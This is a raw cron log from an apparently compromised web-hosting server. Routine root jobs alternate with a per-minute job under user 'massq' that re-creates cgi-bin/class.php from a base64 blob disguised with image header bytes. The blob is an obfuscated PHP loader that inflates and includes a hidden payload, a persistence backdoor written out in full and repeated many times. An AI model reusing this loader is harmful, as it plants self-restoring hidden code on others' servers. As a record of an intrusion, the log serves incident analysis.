Sep  5 12:47:01 server CROND[10035]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:47:01 server CROND[10036]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:48:01 server CROND[10404]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:48:01 server CROND[10405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:48:01 server CROND[10406]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:49:01 server CROND[10880]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:49:01 server CROND[10881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:49:01 server CROND[10882]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:50:01 server CROND[11319]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:50:01 server CROND[11320]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 12:50:01 server CROND[11323]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 12:50:01 server CROND[11324]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 12:50:01 server CROND[11331]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 12:50:01 server CROND[11333]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:50:01 server CROND[11328]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 12:50:01 server CROND[11332]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 12:50:01 server CROND[11329]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:51:01 server CROND[12151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:51:01 server CROND[12152]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:51:01 server CROND[12155]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:52:01 server CROND[12555]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:52:01 server CROND[12556]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:52:01 server CROND[12557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:53:01 server CROND[12929]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:53:01 server CROND[12930]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:53:01 server CROND[12931]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:54:01 server CROND[13407]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:54:01 server CROND[13408]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:54:01 server CROND[13409]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:55:01 server CROND[13811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:55:01 server CROND[13812]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 12:55:01 server CROND[13813]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 12:55:01 server CROND[13814]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 12:55:01 server CROND[13817]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:55:01 server CROND[13819]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 12:55:01 server CROND[13820]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:56:01 server CROND[14679]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:56:01 server CROND[14680]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:56:01 server CROND[14681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:57:01 server CROND[15063]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:57:01 server CROND[15065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:57:01 server CROND[15064]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 12:57:01 server CROND[15066]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:58:01 server CROND[15467]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:58:01 server CROND[15468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:58:01 server CROND[15469]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
